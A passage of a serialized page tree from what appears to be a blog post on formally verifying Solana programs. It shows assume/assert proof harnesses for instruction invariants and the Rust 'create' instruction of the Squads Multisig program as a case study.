className":20897,"style":19987},[2397],[],{"type":20,"tag":315,"props":20900,"children":20902},{"className":20901,"style":20524},[2403,19992],[20903],{"type":26,"value":20527},{"type":26,"value":61},{"type":20,"tag":29,"props":20906,"children":20907},{},[20908],{"type":26,"value":20909},"Just like before we can construct a proof harness:",{"type":20,"tag":305,"props":20911,"children":20913},{"code":20912,"language":17864,"meta":7,"className":17865,"style":7},"assume(S)\nres = instruction_handler(...)\nassert(K)\n",[20914],{"type":20,"tag":119,"props":20915,"children":20916},{"__ignoreMap":7},[20917,20925,20940],{"type":20,"tag":315,"props":20918,"children":20919},{"class":317,"line":318},[20920],{"type":20,"tag":315,"props":20921,"children":20922},{"style":328},[20923],{"type":26,"value":20924},"assume(S)\n",{"type":20,"tag":315,"props":20926,"children":20927},{"class":317,"line":356},[20928,20932,20936],{"type":20,"tag":315,"props":20929,"children":20930},{"style":328},[20931],{"type":26,"value":20788},{"type":20,"tag":315,"props":20933,"children":20934},{"style":334},[20935],{"type":26,"value":337},{"type":20,"tag":315,"props":20937,"children":20938},{"style":328},[20939],{"type":26,"value":20797},{"type":20,"tag":315,"props":20941,"children":20942},{"class":317,"line":365},[20943,20947],{"type":20,"tag":315,"props":20944,"children":20945},{"style":525},[20946],{"type":26,"value":18387},{"type":20,"tag":315,"props":20948,"children":20949},{"style":328},[20950],{"type":26,"value":20951},"(K)\n",{"type":20,"tag":29,"props":20953,"children":20954},{},[20955,20957,20962,20964,20976],{"type":26,"value":20956},"This proof assures that whenever ",{"type":20,"tag":119,"props":20958,"children":20960},{"className":20959},[],[20961],{"type":26,"value":18558},{"type":26,"value":20963}," is satisfied, the instruction will succeed. However, remember that since this is not a biconditional, the instruction may also succeed ",{"type":20,"tag":55,"props":20965,"children":20966},{},[20967,20969,20974],{"type":26,"value":20968},"even if ",{"type":20,"tag":119,"props":20970,"children":20972},{"className":20971},[],[20973],{"type":26,"value":18558},{"type":26,"value":20975}," is not satisfied",{"type":26,"value":20977},". To specify explicit error conditions we need our third and final proof.",{"type":20,"tag":219,"props":20979,"children":20981},{"id":20980},"_3-negative-instruction-invariant",[20982],{"type":26,"value":20983},"3. Negative instruction invariant",{"type":20,"tag":29,"props":20985,"children":20986},{},[20987,20989,20994,20996,21052],{"type":26,"value":20988},"Finally, we want to prove that ",{"type":20,"tag":119,"props":20990,"children":20992},{"className":20991},[],[20993],{"type":26,"value":18565},{"type":26,"value":20995}," is a sufficient condition for instruction failure. I.e. ",{"type":20,"tag":119,"props":20997,"children":20999},{"className":20998},[2375,2376],[21000],{"type":20,"tag":315,"props":21001,"children":21003},{"className":21002},[2381],[21004],{"type":20,"tag":315,"props":21005,"children":21007},{"className":21006,"ariaHidden":2387},[2386],[21008,21034],{"type":20,"tag":315,"props":21009,"children":21011},{"className":21010},[2392],[21012,21016,21021,21025,21030],{"type":20,"tag":315,"props":21013,"children":21015},{"className":21014,"style":19987},[2397],[],{"type":20,"tag":315,"props":21017,"children":21019},{"className":21018,"style":20451},[2403,19992],[21020],{"type":26,"value":20489},{"type":20,"tag":315,"props":21022,"children":21024},{"className":21023,"style":2581},[2483],[],{"type":20,"tag":315,"props":21026,"children":21028},{"className":21027},[2586],[21029],{"type":26,"value":20738},{"type":20,"tag":315,"props":21031,"children":21033},{"className":21032,"style":2581},[2483],[],{"type":20,"tag":315,"props":21035,"children":21037},{"className":21036},[2392],[21038,21042,21047],{"type":20,"tag":315,"props":21039,"children":21041},{"className":21040,"style":19987},[2397],[],{"type":20,"tag":315,"props":21043,"children":21045},{"className":21044},[2403],[21046],{"type":26,"value":20585},{"type":20,"tag":315,"props":21048,"children":21050},{"className":21049,"style":20524},[2403,19992],[21051],{"type":26,"value":20527},{"type":26,"value":61},{"type":20,"tag":29,"props":21054,"children":21055},{},[21056],{"type":26,"value":21057},"This harness looks just like the previous one:",{"type":20,"tag":305,"props":21059,"children":21061},{"code":21060,"language":17864,"meta":7,"className":17865,"style":7},"assume(E)\nres = instruction_handler(...)\nassert(!K)\n",[21062],{"type":20,"tag":119,"props":21063,"children":21064},{"__ignoreMap":7},[21065,21073,21088],{"type":20,"tag":315,"props":21066,"children":21067},{"class":317,"line":318},[21068],{"type":20,"tag":315,"props":21069,"children":21070},{"style":328},[21071],{"type":26,"value":21072},"assume(E)\n",{"type":20,"tag":315,"props":21074,"children":21075},{"class":317,"line":356},[21076,21080,21084],{"type":20,"tag":315,"props":21077,"children":21078},{"style":328},[21079],{"type":26,"value":20788},{"type":20,"tag":315,"props":21081,"children":21082},{"style":334},[21083],{"type":26,"value":337},{"type":20,"tag":315,"props":21085,"children":21086},{"style":328},[21087],{"type":26,"value":20797},{"type":20,"tag":315,"props":21089,"children":21090},{"class":317,"line":365},[21091,21095,21099,21103],{"type":20,"tag":315,"props":21092,"children":21093},{"style":525},[21094],{"type":26,"value":18387},{"type":20,"tag":315,"props":21096,"children":21097},{"style":328},[21098],{"type":26,"value":1049},{"type":20,"tag":315,"props":21100,"children":21101},{"style":20811},[21102],{"type":26,"value":19025},{"type":20,"tag":315,"props":21104,"children":21105},{"style":328},[21106],{"type":26,"value":21107},"K)\n",{"type":20,"tag":29,"props":21109,"children":21110},{},[21111,21113,21117],{"type":26,"value":21112},"With these three harnesses, we are now able to formally verify that instructions succeed or fail when we expect them to ",{"type":20,"tag":55,"props":21114,"children":21115},{},[21116],{"type":26,"value":14773},{"type":26,"value":21118}," the account invariants we expect are always being preserved.",{"type":20,"tag":21,"props":21120,"children":21122},{"id":21121},"case-study-squads-multisig",[21123],{"type":26,"value":21124},"Case study: Squads Multisig",{"type":20,"tag":29,"props":21126,"children":21127},{},[21128,21130,21135],{"type":26,"value":21129},"During our research, we focused on formally verifying aspects of the ",{"type":20,"tag":35,"props":21131,"children":21133},{"href":17228,"rel":21132},[39],[21134],{"type":26,"value":17232},{"type":26,"value":61},{"type":20,"tag":29,"props":21137,"children":21138},{},[21139,21141,21147,21149,21155],{"type":26,"value":21140},"The program defines a Multisig account (",{"type":20,"tag":119,"props":21142,"children":21144},{"className":21143},[],[21145],{"type":26,"value":21146},"Ms",{"type":26,"value":21148},") which has multiple members. These members can propose and then vote on transactions to execute on behalf of the multisig. If at least some ",{"type":20,"tag":119,"props":21150,"children":21152},{"className":21151},[],[21153],{"type":26,"value":21154},"threshold",{"type":26,"value":21156}," of members vote yes, the transaction will be invoked. Additionally, there is functionality to add/remove users and update the threshold.",{"type":20,"tag":29,"props":21158,"children":21159},{},[21160],{"type":26,"value":21161},"In practice, this structure provides a useful way to distribute authority across a group of individuals. From a formal verification perspective, it has both stateless and stateful features and constraints that provided a good testbed for our tooling.",{"type":20,"tag":29,"props":21163,"children":21164},{},[21165],{"type":26,"value":21166},"In this section we will go through a few examples of properties that we can verify on this program:",{"type":20,"tag":68,"props":21168,"children":21169},{},[21170,21175,21180,21185],{"type":20,"tag":72,"props":21171,"children":21172},{},[21173],{"type":26,"value":21174},"Incrementally verifying minimum requirements to create a multisig",{"type":20,"tag":72,"props":21176,"children":21177},{},[21178],{"type":26,"value":21179},"Verify threshold requirements",{"type":20,"tag":72,"props":21181,"children":21182},{},[21183],{"type":26,"value":21184},"Verify requirements to remove a member",{"type":20,"tag":72,"props":21186,"children":21187},{},[21188],{"type":26,"value":21189},"Safety guarantees",{"type":20,"tag":219,"props":21191,"children":21193},{"id":21192},"_1-incrementally-verifying-minimum-requirements-to-create-a-multisig",[21194],{"type":26,"value":21195},"1. Incrementally verifying minimum requirements to create a multisig",{"type":20,"tag":29,"props":21197,"children":21198},{},[21199,21201,21206],{"type":26,"value":21200},"Suppose we want to verify the minimum requirements to create a multisig, i.e. the ",{"type":20,"tag":119,"props":21202,"children":21204},{"className":21203},[],[21205],{"type":26,"value":18558},{"type":26,"value":21207}," expression.",{"type":20,"tag":29,"props":21209,"children":21210},{},[21211,21213,21218,21220,21226],{"type":26,"value":21212},"Creating a multisig (",{"type":20,"tag":119,"props":21214,"children":21216},{"className":21215},[],[21217],{"type":26,"value":21146},{"type":26,"value":21219},") requires invoking the ",{"type":20,"tag":119,"props":21221,"children":21223},{"className":21222},[],[21224],{"type":26,"value":21225},"create",{"type":26,"value":21227}," instruction:",{"type":20,"tag":305,"props":21229,"children":21231},{"code":21230,"language":1359,"meta":7,"className":1360,"style":7},"#[derive(Accounts)]\n#[instruction(threshold: u16, create_key: Pubkey, members: Vec\u003CPubkey>)]\npub struct Create\u003C'info> {\n #[account(\n init,\n payer = creator,\n space = Ms::SIZE_WITHOUT_MEMBERS + (members.len() * 32),\n seeds = [b\"squad\", create_key.as_ref(), b\"multisig\"], bump\n )]\n pub multisig: Account\u003C'info, Ms>,\n\n #[account(mut)]\n pub creator: Signer\u003C'info>,\n pub system_program: Program\u003C'info, System>,\n}\n\npub fn create(\n ctx: Context\u003CCreate>,\n threshold: u16,\n create_key: Pubkey,\n members: Vec\u003CPubkey>,\n) -> Result\u003C()> {\n // sort the members and remove duplicates\n let mut members = members;\n members.sort();\n members.dedup();\n\n // check we don't exceed u16\n let total_members = members.len();\n if total_members \u003C 1 {\n return err!(MsError::EmptyMembers);\n }\n\n // make sure we don't exceed u16 on first call\n if total_members > usize::from(u16::MAX) {\n return err!(MsError::MaxMembersReached);\n }\n\n // make sure threshold is valid\n if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n return err!(MsError::InvalidThreshold);\n }\n\n ctx.accounts.multisig.init(\n threshold,\n create_key,\n members,\n *ctx.bumps.get(\"multisig\").unwrap(),\n )\n}\n",[21232],{"type":20,"tag":119,"props":21233,"children":21234},{"__ignoreMap":7},[21235,21252,21307,21337,21345,21353,21370,21421,21471,21479,21520,21527,21543,21576,21618,21625,21632,21651,21679,21699,21719,21747,21766,21774,21802,21822,21842,21849,21857,21889,21912,21947,21955,21963,21972,22014,22047,22055,22063,22072,22148,22181,22189,22197,22234,22247,22260,22273,22327,22336],{"type":20,"tag":315,"props":21236,"children":21237},{"class":317,"line":318},[21238,21243,21248],{"type":20,"tag":315,"props":21239,"children":21240},{"style":328},[21241],{"type":26,"value":21242},"#[derive(",{"type":20,"tag":315,"props":21244,"children":21245},{"style":322},[21246],{"type":26,"value":21247},"Accounts",{"type":20,"tag":315,"props":21249,"children":21250},{"style":328},[21251],{"type":26,"value":18662},{"type":20,"tag":315,"props":21253,"children":21254},{"class":317,"line":356},[21255,21260,21264,21268,21273,21277,21281,21286,21290,21294,21298,21302],{"type":20,"tag":315,"props":21256,"children":21257},{"style":328},[21258],{"type":26,"value":21259},"#[instruction(threshold",{"type":20,"tag":315,"props":21261,"children":21262},{"style":334},[21263],{"type":26,"value":2884},{"type":20,"tag":315,"props":21265,"children":21266},{"style":322},[21267],{"type":26,"value":19434},{"type":20,"tag":315,"props":21269,"children":21270},{"style":328},[21271],{"type":26,"value":21272},", create_key",{"type":20,"tag":315,"props":21274,"children":21275},{"style":334},[21276],{"type":26,"value":2884},{"type":20,"tag":315,"props":21278,"children":21279},{"style":322},[21280],{"type":26,"value":19261},{"type":20,"tag":315,"props":21282,"children":21283},{"style":328},[21284],{"type":26,"value":21285},", members",{"type":20,"tag":315,"props":21287,"children":21288},{"style":334},[21289],{"type":26,"value":2884},{"type":20,"tag":315,"props":21291,"children":21292},{"style":322},[21293],{"type":26,"value":19793},{"type":20,"tag":315,"props":21295,"children":21296},{"style":328},[21297],{"type":26,"value":4199},{"type":20,"tag":315,"props":21299,"children":21300},{"style":322},[21301],{"type":26,"value":19802},{"type":20,"tag":315,"props":21303,"children":21304},{"style":328},[21305],{"type":26,"value":21306},">)]\n",{"type":20,"tag":315,"props":21308,"children":21309},{"class":317,"line":365},[21310,21314,21318,21323,21328,21333],{"type":20,"tag":315,"props":21311,"children":21312},{"style":541},[21313],{"type":26,"value":12091},{"type":20,"tag":315,"props":21315,"children":21316},{"style":541},[21317],{"type":26,"value":19555},{"type":20,"tag":315,"props":21319,"children":21320},{"style":322},[21321],{"type":26,"value":21322}," Create",{"type":20,"tag":315,"props":21324,"children":21325},{"style":328},[21326],{"type":26,"value":21327},"\u003C'",{"type":20,"tag":315,"props":21329,"children":21330},{"style":322},[21331],{"type":26,"value":21332},"info",{"type":20,"tag":315,"props":21334,"children":21335},{"style":328},[21336],{"type":26,"value":5676},{"type":20,"tag":315,"props":21338,"children":21339},{"class":317,"line":374},[21340],{"type":20,"tag":315,"props":21341,"children":21342},{"style":328},[21343],{"type":26,"value":21344}," #[account(\n",{"type":20,"tag":315,"props":21346,"children":21347},{"class":317,"line":383},[21348],{"type":20,"tag":315,"props":21349,"children":21350},{"style":328},[21351],{"type":26,"value":21352}," init,\n",{"type":20,"tag":315,"props":21354,"children":21355},{"class":317,"line":407},[21356,21361,21365],{"type":20,"tag":315,"props":21357,"children":21358},{"style":328},[21359],{"type":26,"value":21360}," payer ",{"type":20,"tag":315,"props":21362,"children":21363},{"style":334},[21364],{"type":26,"value":337},{"type":20,"tag":315,"props":21366,"children":21367},{"style":328},[21368],{"type":26,"value":21369}," creator,\n",{"type":20,"tag":315,"props":21371,"children":21372},{"class":317,"line":421},[21373,21378,21382,21386,21390,21395,21399,21404,21408,21412,21416],{"type":20,"tag":315,"props":21374,"children":21375},{"style":328},[21376],{"type":26,"value":21377}," space ",{"type":20,"tag":315,"props":21379,"children":21380},{"style":334},[21381],{"type":26,"value":337},{"type":20,"tag":315,"props":21383,"children":21384},{"style":322},[21385],{"type":26,"value":19560},{"type":20,"tag":315,"props":21387,"children":21388},{"style":334},[21389],{"type":26,"value":1861},{"type":20,"tag":315,"props":21391,"children":21392},{"style":322},[21393],{"type":26,"value":21394},"SIZE_WITHOUT_MEMBERS",{"type":20,"tag":315,"props":21396,"children":21397},{"style":334},[21398],{"type":26,"value":7301},{"type":20,"tag":315,"props":21400,"children":21401},{"style":328},[21402],{"type":26,"value":21403}," (members",{"type":20,"tag":315,"props":21405,"children":21406},{"style":334},[21407],{"type":26,"value":61},{"type":20,"tag":315,"props":21409,"children":21410},{"style":328},[21411],{"type":26,"value":19425},{"type":20,"tag":315,"props":21413,"children":21414},{"style":334},[21415],{"type":26,"value":901},{"type":20,"tag":315,"props":21417,"children":21418},{"style":328},[21419],{"type":26,"value":21420}," 32),\n",{"type":20,"tag":315,"props":21422,"children":21423},{"class":317,"line":430},[21424,21429,21433,21438,21443,21447,21451,21456,21461,21466],{"type":20,"tag":315,"props":21425,"children":21426},{"style":328},[21427],{"type":26,"value":21428}," seeds ",{"type":20,"tag":315,"props":21430,"children":21431},{"style":334},[21432],{"type":26,"value":337},{"type":20,"tag":315,"props":21434,"children":21435},{"style":328},[21436],{"type":26,"value":21437}," [",{"type":20,"tag":315,"props":21439,"children":21440},{"style":2652},[21441],{"type":26,"value":21442},"b\"squad\"",{"type":20,"tag":315,"props":21444,"children":21445},{"style":328},[21446],{"type":26,"value":21272},{"type":20,"tag":315,"props":21448,"children":21449},{"style":334},[21450],{"type":26,"value":61},{"type":20,"tag":315,"props":21452,"children":21453},{"style":328},[21454],{"type":26,"value":21455},"as_ref(), ",{"type":20,"tag":315,"props":21457,"children":21458},{"style":2652},[21459],{"type":26,"value":21460},"b\"multisig\"",{"type":20,"tag":315,"props":21462,"children":21463},{"style":328},[21464],{"type":26,"value":21465},"], ",{"type":20,"tag":315,"props":21467,"children":21468},{"style":635},[21469],{"type":26,"value":21470},"bump\n",{"type":20,"tag":315,"props":21472,"children":21473},{"class":317,"line":453},[21474],{"type":20,"tag":315,"props":21475,"children":21476},{"style":328},[21477],{"type":26,"value":21478}," )]\n",{"type":20,"tag":315,"props":21480,"children":21481},{"class":317,"line":486},[21482,21486,21491,21495,21500,21504,21508,21512,21516],{"type":20,"tag":315,"props":21483,"children":21484},{"style":541},[21485],{"type":26,"value":19247},{"type":20,"tag":315,"props":21487,"children":21488},{"style":635},[21489],{"type":26,"value":21490}," multisig",{"type":20,"tag":315,"props":21492,"children":21493},{"style":334},[21494],{"type":26,"value":2884},{"type":20,"tag":315,"props":21496,"children":21497},{"style":322},[21498],{"type":26,"value":21499}," Account",{"type":20,"tag":315,"props":21501,"children":21502},{"style":328},[21503],{"type":26,"value":21327},{"type":20,"tag":315,"props":21505,"children":21506},{"style":322},[21507],{"type":26,"value":21332},{"type":20,"tag":315,"props":21509,"children":21510},{"style":328},[21511],{"type":26,"value":44},{"type":20,"tag":315,"props":21513,"children":21514},{"style":322},[21515],{"type":26,"value":21146},{"type":20,"tag":315,"props":21517,"children":21518},{"style":328},[21519],{"type":26,"value":4532},{"type":20,"tag":315,"props":21521,"children":21522},{"class":317,"line":499},[21523],{"type":20,"tag":315,"props":21524,"children":21525},{"emptyLinePlaceholder":15},[21526],{"type":26,"value":427},{"type":20,"tag":315,"props":21528,"children":21529},{"class":317,"line":513},[21530,21535,21539],{"type":20,"tag":315,"props":21531,"children":21532},{"style":328},[21533],{"type":26,"value":21534}," #[account(",{"type":20,"tag":315,"props":21536,"children":21537},{"style":541},[21538],{"type":26,"value":2107},{"type":20,"tag":315,"props":21540,"children":21541},{"style":328},[21542],{"type":26,"value":18662},{"type":20,"tag":315,"props":21544,"children":21545},{"class":317,"line":521},[21546,21550,21555,21559,21564,21568,21572],{"type":20,"tag":315,"props":21547,"children":21548},{"style":541},[21549],{"type":26,"value":19247},{"type":20,"tag":315,"props":21551,"children":21552},{"style":635},[21553],{"type":26,"value":21554}," creator",{"type":20,"tag":315,"props":21556,"children":21557},{"style":334},[21558],{"type":26,"value":2884},{"type":20,"tag":315,"props":21560,"children":21561},{"style":322},[21562],{"type":26,"value":21563}," Signer",{"type":20,"tag":315,"props":21565,"children":21566},{"style":328},[21567],{"type":26,"value":21327},{"type":20,"tag":315,"props":21569,"children":21570},{"style":322},[21571],{"type":26,"value":21332},{"type":20,"tag":315,"props":21573,"children":21574},{"style":328},[21575],{"type":26,"value":4532},{"type":20,"tag":315,"props":21577,"children":21578},{"class":317,"line":552},[21579,21583,21588,21592,21597,21601,21605,21609,21614],{"type":20,"tag":315,"props":21580,"children":21581},{"style":541},[21582],{"type":26,"value":19247},{"type":20,"tag":315,"props":21584,"children":21585},{"style":635},[21586],{"type":26,"value":21587}," system_program",{"type":20,"tag":315,"props":21589,"children":21590},{"style":334},[21591],{"type":26,"value":2884},{"type":20,"tag":315,"props":21593,"children":21594},{"style":322},[21595],{"type":26,"value":21596}," Program",{"type":20,"tag":315,"props":21598,"children":21599},{"style":328},[21600],{"type":26,"value":21327},{"type":20,"tag":315,"props":21602,"children":21603},{"style":322},[21604],{"type":26,"value":21332},{"type":20,"tag":315,"props":21606,"children":21607},{"style":328},[21608],{"type":26,"value":44},{"type":20,"tag":315,"props":21610,"children":21611},{"style":322},[21612],{"type":26,"value":21613},"System",{"type":20,"tag":315,"props":21615,"children":21616},{"style":328},[21617],{"type":26,"value":4532},{"type":20,"tag":315,"props":21619,"children":21620},{"class":317,"line":571},[21621],{"type":20,"tag":315,"props":21622,"children":21623},{"style":328},[21624],{"type":26,"value":577},{"type":20,"tag":315,"props":21626,"children":21627},{"class":317,"line":2031},[21628],{"type":20,"tag":315,"props":21629,"children":21630},{"emptyLinePlaceholder":15},[21631],{"type":26,"value":427},{"type":20,"tag":315,"props":21633,"children":21634},{"class":317,"line":2053},[21635,21639,21643,21647],{"type":20,"tag":315,"props":21636,"children":21637},{"style":541},[21638],{"type":26,"value":12091},{"type":20,"tag":315,"props":21640,"children":21641},{"style":541},[21642],{"type":26,"value":12096},{"type":20,"tag":315,"props":21644,"children":21645},{"style":345},[21646],{"type":26,"value":5507},{"type":20,"tag":315,"props":21648,"children":21649},{"style":328},[21650],{"type":26,"value":353},{"type":20,"tag":315,"props":21652,"children":21653},{"class":317,"line":2061},[21654,21658,21662,21666,21670,21675],{"type":20,"tag":315,"props":21655,"children":21656},{"style":635},[21657],{"type":26,"value":18627},{"type":20,"tag":315,"props":21659,"children":21660},{"style":334},[21661],{"type":26,"value":2884},{"type":20,"tag":315,"props":21663,"children":21664},{"style":322},[21665],{"type":26,"value":18693},{"type":20,"tag":315,"props":21667,"children":21668},{"style":328},[21669],{"type":26,"value":4199},{"type":20,"tag":315,"props":21671,"children":21672},{"style":322},[21673],{"type":26,"value":21674},"Create",{"type":20,"tag":315,"props":21676,"children":21677},{"style":328},[21678],{"type":26,"value":4532},{"type":20,"tag":315,"props":21680,"children":21681},{"class":317,"line":2070},[21682,21687,21691,21695],{"type":20,"tag":315,"props":21683,"children":21684},{"style":635},[21685],{"type":26,"value":21686}," threshold",{"type":20,"tag":315,"props":21688,"children":21689},{"style":334},[21690],{"type":26,"value":2884},{"type":20,"tag":315,"props":21692,"children":21693},{"style":322},[21694],{"type":26,"value":19434},{"type":20,"tag":315,"props":21696,"children":21697},{"style":328},[21698],{"type":26,"value":643},{"type":20,"tag":315,"props":21700,"children":21701},{"class":317,"line":2139},[21702,21707,21711,21715],{"type":20,"tag":315,"props":21703,"children":21704},{"style":635},[21705],{"type":26,"value":21706}," create_key",{"type":20,"tag":315,"props":21708,"children":21709},{"style":334},[21710],{"type":26,"value":2884},{"type":20,"tag":315,"props":21712,"children":21713},{"style":322},[21714],{"type":26,"value":19261},{"type":20,"tag":315,"props":21716,"children":21717},{"style":328},[21718],{"type":26,"value":643},{"type":20,"tag":315,"props":21720,"children":21721},{"class":317,"line":2147},[21722,21727,21731,21735,21739,21743],{"type":20,"tag":315,"props":21723,"children":21724},{"style":635},[21725],{"type":26,"value":21726}," members",{"type":20,"tag":315,"props":21728,"children":21729},{"style":334},[21730],{"type":26,"value":2884},{"type":20,"tag":315,"props":21732,"children":21733},{"style":322},[21734],{"type":26,"value":19793},{"type":20,"tag":315,"props":21736,"children":21737},{"style":328},[21738],{"type":26,"value":4199},{"type":20,"tag":315,"props":21740,"children":21741},{"style":322},[21742],{"type":26,"value":19802},{"type":20,"tag":315,"props":21744,"children":21745},{"style":328},[21746],{"type":26,"value":4532},{"type":20,"tag":315,"props":21748,"children":21749},{"class":317,"line":2177},[21750,21754,21758,21762],{"type":20,"tag":315,"props":21751,"children":21752},{"style":328},[21753],{"type":26,"value":1468},{"type":20,"tag":315,"props":21755,"children":21756},{"style":334},[21757],{"type":26,"value":12158},{"type":20,"tag":315,"props":21759,"children":21760},{"style":322},[21761],{"type":26,"value":12163},{"type":20,"tag":315,"props":21763,"children":21764},{"style":328},[21765],{"type":26,"value":18735},{"type":20,"tag":315,"props":21767,"children":21768},{"class":317,"line":2185},[21769],{"type":20,"tag":315,"props":21770,"children":21771},{"style":1071},[21772],{"type":26,"value":21773}," // sort the members and remove duplicates\n",{"type":20,"tag":315,"props":21775,"children":21776},{"class":317,"line":2217},[21777,21781,21785,21790,21794,21798],{"type":20,"tag":315,"props":21778,"children":21779},{"style":541},[21780],{"type":26,"value":1380},{"type":20,"tag":315,"props":21782,"children":21783},{"style":541},[21784],{"type":26,"value":1385},{"type":20,"tag":315,"props":21786,"children":21787},{"style":635},[21788],{"type":26,"value":21789}," members",{"type":20,"tag":315,"props":21791,"children":21792},{"style":334},[21793],{"type":26,"value":1395},{"type":20,"tag":315,"props":21795,"children":21796},{"style":635},[21797],{"type":26,"value":21789},{"type":20,"tag":315,"props":21799,"children":21800},{"style":328},[21801],{"type":26,"value":1405},{"type":20,"tag":315,"props":21803,"children":21804},{"class":317,"line":2225},[21805,21809,21813,21818],{"type":20,"tag":315,"props":21806,"children":21807},{"style":635},[21808],{"type":26,"value":21726},{"type":20,"tag":315,"props":21810,"children":21811},{"style":334},[21812],{"type":26,"value":61},{"type":20,"tag":315,"props":21814,"children":21815},{"style":345},[21816],{"type":26,"value":21817},"sort",{"type":20,"tag":315,"props":21819,"children":21820},{"style":328},[21821],{"type":26,"value":568},{"type":20,"tag":315,"props":21823,"children":21824},{"class":317,"line":2285},[21825,21829,21833,21838],{"type":20,"tag":315,"props":21826,"children":21827},{"style":635},[21828],{"type":26,"value":21726},{"type":20,"tag":315,"props":21830,"children":21831},{"style":334},[21832],{"type":26,"value":61},{"type":20,"tag":315,"props":21834,"children":21835},{"style":345},[21836],{"type":26,"value":21837},"dedup",{"type":20,"tag":315,"props":21839,"children":21840},{"style":328},[21841],{"type":26,"value":568},{"type":20,"tag":315,"props":21843,"children":21844},{"class":317,"line":7444},[21845],{"type":20,"tag":315,"props":21846,"children":21847},{"emptyLinePlaceholder":15},[21848],{"type":26,"value":427},{"type":20,"tag":315,"props":21850,"children":21851},{"class":317,"line":7462},[21852],{"type":20,"tag":315,"props":21853,"children":21854},{"style":1071},[21855],{"type":26,"value":21856}," // check we don't exceed u16\n",{"type":20,"tag":315,"props":21858,"children":21859},{"class":317,"line":7507},[21860,21864,21869,21873,21877,21881,21885],{"type":20,"tag":315,"props":21861,"children":21862},{"style":541},[21863],{"type":26,"value":1380},{"type":20,"tag":315,"props":21865,"children":21866},{"style":635},[21867],{"type":26,"value":21868}," total_members",{"type":20,"tag":315,"props":21870,"children":21871},{"style":334},[21872],{"type":26,"value":1395},{"type":20,"tag":315,"props":21874,"children":21875},{"style":635},[21876],{"type":26,"value":21789},{"type":20,"tag":315,"props":21878,"children":21879},{"style":334},[21880],{"type":26,"value":61},{"type":20,"tag":315,"props":21882,"children":21883},{"style":345},[21884],{"type":26,"value":7537},{"type":20,"tag":315,"props":21886,"children":21887},{"style":328},[21888],{"type":26,"value":568},{"type":20,"tag":315,"props":21890,"children":21891},{"class":317,"line":7613},[21892,21896,21900,21904,21908],{"type":20,"tag":315,"props":21893,"children":21894},{"style":525},[21895],{"type":26,"value":10680},{"type":20,"tag":315,"props":21897,"children":21898},{"style":635},[21899],{"type":26,"value":21868},{"type":20,"tag":315,"props":21901,"children":21902},{"style":334},[21903],{"type":26,"value":7115},{"type":20,"tag":315,"props":21905,"children":21906},{"style":765},[21907],{"type":26,"value":2916},{"type":20,"tag":315,"props":21909,"children":21910},{"style":328},[21911],{"type":26,"value":1092},{"type":20,"tag":315,"props":21913,"children":21915},{"class":317,"line":21914},31,[21916,21920,21925,21929,21934,21938,21943],{"type":20,"tag":315,"props":21917,"children":21918},{"style":525},[21919],{"type":26,"value":14145},{"type":20,"tag":315,"props":21921,"children":21922},{"style":345},[21923],{"type":26,"value":21924}," err!",{"type":20,"tag":315,"props":21926,"children":21927},{"style":328},[21928],{"type":26,"value":1049},{"type":20,"tag":315,"props":21930,"children":21931},{"style":322},[21932],{"type":26,"value":21933},"MsError",{"type":20,"tag":315,"props":21935,"children":21936},{"style":334},[21937],{"type":26,"value":1861},{"type":20,"tag":315,"props":21939,"children":21940},{"style":322},[21941],{"type":26,"value":21942},"EmptyMembers",{"type":20,"tag":315,"props":21944,"children":21945},{"style":328},[21946],{"type":26,"value":2214},{"type":20,"tag":315,"props":21948,"children":21950},{"class":317,"line":21949},32,[21951],{"type":20,"tag":315,"props":21952,"children":21953},{"style":328},[21954],{"type":26,"value":1736},{"type":20,"tag":315,"props":21956,"children":21958},{"class":317,"line":21957},33,[21959],{"type":20,"tag":315,"props":21960,"children":21961},{"emptyLinePlaceholder":15},[21962],{"type":26,"value":427},{"type":20,"tag":315,"props":21964,"children":21966},{"class":317,"line":21965},34,[21967],{"type":20,"tag":315,"props":21968,"children":21969},{"style":1071},[21970],{"type":26,"value":21971}," // make sure we don't exceed u16 on first call\n",{"type":20,"tag":315,"props":21973,"children":21975},{"class":317,"line":21974},35,[21976,21980,21984,21988,21992,21996,22000,22005,22009],{"type":20,"tag":315,"props":21977,"children":21978},{"style":525},[21979],{"type":26,"value":10680},{"type":20,"tag":315,"props":21981,"children":21982},{"style":635},[21983],{"type":26,"value":21868},{"type":20,"tag":315,"props":21985,"children":21986},{"style":334},[21987],{"type":26,"value":12595},{"type":20,"tag":315,"props":21989,"children":21990},{"style":322},[21991],{"type":26,"value":12132},{"type":20,"tag":315,"props":21993,"children":21994},{"style":334},[21995],{"type":26,"value":1861},{"type":20,"tag":315,"props":21997,"children":21998},{"style":345},[21999],{"type":26,"value":17877},{"type":20,"tag":315,"props":22001,"children":22002},{"style":328},[22003],{"type":26,"value":22004},"(u16",{"type":20,"tag":315,"props":22006,"children":22007},{"style":334},[22008],{"type":26,"value":1861},{"type":20,"tag":315,"props":22010,"children":22011},{"style":328},[22012],{"type":26,"value":22013},"MAX) {\n",{"type":20,"tag":315,"props":22015,"children":22017},{"class":317,"line":22016},36,[22018,22022,22026,22030,22034,22038,22043],{"type":20,"tag":315,"props":22019,"children":22020},{"style":525},[22021],{"type":26,"value":14145},{"type":20,"tag":315,"props":22023,"children":22024},{"style":345},[22025],{"type":26,"value":21924},{"type":20,"tag":315,"props":22027,"children":22028},{"style":328},[22029],{"type":26,"value":1049},{"type":20,"tag":315,"props":22031,"children":22032},{"style":322},[22033],{"type":26,"value":21933},{"type":20,"tag":315,"props":22035,"children":22036},{"style":334},[22037],{"type":26,"value":1861},{"type":20,"tag":315,"props":22039,"children":22040},{"style":322},[22041],{"type":26,"value":22042},"MaxMembersReached",{"type":20,"tag":315,"props":22044,"children":22045},{"style":328},[22046],{"type":26,"value":2214},{"type":20,"tag":315,"props":22048,"children":22050},{"class":317,"line":22049},37,[22051],{"type":20,"tag":315,"props":22052,"children":22053},{"style":328},[22054],{"type":26,"value":1736},{"type":20,"tag":315,"props":22056,"children":22058},{"class":317,"line":22057},38,[22059],{"type":20,"tag":315,"props":22060,"children":22061},{"emptyLinePlaceholder":15},[22062],{"type":26,"value":427},{"type":20,"tag":315,"props":22064,"children":22066},{"class":317,"line":22065},39,[22067],{"type":20,"tag":315,"props":22068,"children":22069},{"style":1071},[22070],{"type":26,"value":22071}," // make sure threshold is 